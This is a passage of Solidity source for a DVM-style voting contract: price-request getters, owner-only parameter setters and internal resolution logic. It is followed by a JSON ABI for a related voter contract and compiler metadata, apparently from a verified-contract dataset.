// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory) {
PendingRequestAncillary[] memory toRetrieveAncillary = new PendingRequestAncillary[](toRetrieve.length);
for (uint256 i = 0; i < toRetrieve.length; i++) {
toRetrieveAncillary[i].identifier = toRetrieve[i].identifier;
toRetrieveAncillary[i].time = toRetrieve[i].time;
toRetrieveAncillary[i].ancillaryData = "";
}
return retrieveRewards(voterAddress, roundId, toRetrieveAncillary);
}
/****************************************
* VOTING GETTER FUNCTIONS *
****************************************/
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests array containing identifiers of type `PendingRequest`.
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
override(VotingInterface, VotingAncillaryInterface)
returns (PendingRequestAncillary[] memory)
{
uint256 blockTime = getCurrentTime();
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
// Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter
// `pendingPriceRequests` only to those requests that have an Active RequestStatus.
PendingRequestAncillary[] memory unresolved = new PendingRequestAncillary[](pendingPriceRequests.length);
uint256 numUnresolved = 0;
for (uint256 i = 0; i < pendingPriceRequests.length; i++) {
PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]];
if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) {
unresolved[numUnresolved] = PendingRequestAncillary({
identifier: priceRequest.identifier,
time: priceRequest.time,
ancillaryData: priceRequest.ancillaryData
});
numUnresolved++;
}
}
PendingRequestAncillary[] memory pendingRequests = new PendingRequestAncillary[](numUnresolved);
for (uint256 i = 0; i < numUnresolved; i++) {
pendingRequests[i] = unresolved[i];
}
return pendingRequests;
}
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view override(VotingInterface, VotingAncillaryInterface) returns (Phase) {
return voteTiming.computeCurrentPhase(getCurrentTime());
}
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view override(VotingInterface, VotingAncillaryInterface) returns (uint256) {
return voteTiming.computeCurrentRoundId(getCurrentTime());
}
/****************************************
* OWNER ADMIN FUNCTIONS *
****************************************/
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress)
external
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
migratedAddress = newVotingAddress;
}
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
inflationRate = newInflationRate;
}
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%");
gatPercentage = newGatPercentage;
}
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
rewardsExpirationTimeout = NewRewardsExpirationTimeout;
}
/****************************************
* PRIVATE AND INTERNAL FUNCTIONS *
****************************************/
// Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent
// the resolved price and a string which is filled with an error message, if there was an error or "".
function _getPriceOrError(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
)
private
view
returns (
bool,
int256,
string memory
)
{
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.Active) {
return (false, 0, "Current voting round not ended");
} else if (requestStatus == RequestStatus.Resolved) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return (true, resolvedPrice, "");
} else if (requestStatus == RequestStatus.Future) {
return (false, 0, "Price is still to be voted on");
} else {
return (false, 0, "Price was never requested");
}
}
function _getPriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private view returns (PriceRequest storage) {
return priceRequests[_encodePriceRequest(identifier, time, ancillaryData)];
}
function _encodePriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encode(identifier, time, ancillaryData));
}
function _freezeRoundVariables(uint256 roundId) private {
Round storage round = rounds[roundId];
// Only on the first reveal should the snapshot be captured for that round.
if (round.snapshotId == 0) {
// There is no snapshot ID set, so create one.
round.snapshotId = votingToken.snapshot();
// Set the round inflation rate to the current global inflation rate.
rounds[roundId].inflationRate = inflationRate;
// Set the round gat percentage to the current global gat rate.
rounds[roundId].gatPercentage = gatPercentage;
// Set the rewards expiration time based on end of time of this round and the current global timeout.
rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add(
rewardsExpirationTimeout
);
}
}
function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private {
if (priceRequest.index == UINT_MAX) {
return;
}
(bool isResolved, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
require(isResolved, "Can't resolve unresolved request");
// Delete the resolved price request from pendingPriceRequests.
uint256 lastIndex = pendingPriceRequests.length - 1;
PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]];
lastPriceRequest.index = priceRequest.index;
pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex];
pendingPriceRequests.pop();
priceRequest.index = UINT_MAX;
emit PriceResolved(
priceRequest.lastVotingRound,
priceRequest.identifier,
priceRequest.time,
resolvedPrice,
priceRequest.ancillaryData
);
}
function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) {
uint256 snapshotId = rounds[roundId].snapshotId;
if (snapshotId == 0) {
// No snapshot - return max value to err on the side of caution.
return FixedPoint.Unsigned(UINT_MAX);
}
// Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId));
// Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens.
return snapshottedSupply.mul(rounds[roundId].gatPercentage);
}
function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId)
private
view
returns (RequestStatus)
{
if (priceRequest.lastVotingRound == 0) {
return RequestStatus.NotRequested;
} else if (priceRequest.lastVotingRound < currentRoundId) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(bool isResolved, ) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return isResolved ? RequestStatus.Resolved : RequestStatus.Active;
} else if (priceRequest.lastVotingRound == currentRoundId) {
return RequestStatus.Active;
} else {
// Means than priceRequest.lastVotingRound > currentRoundId
return RequestStatus.Future;
}
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 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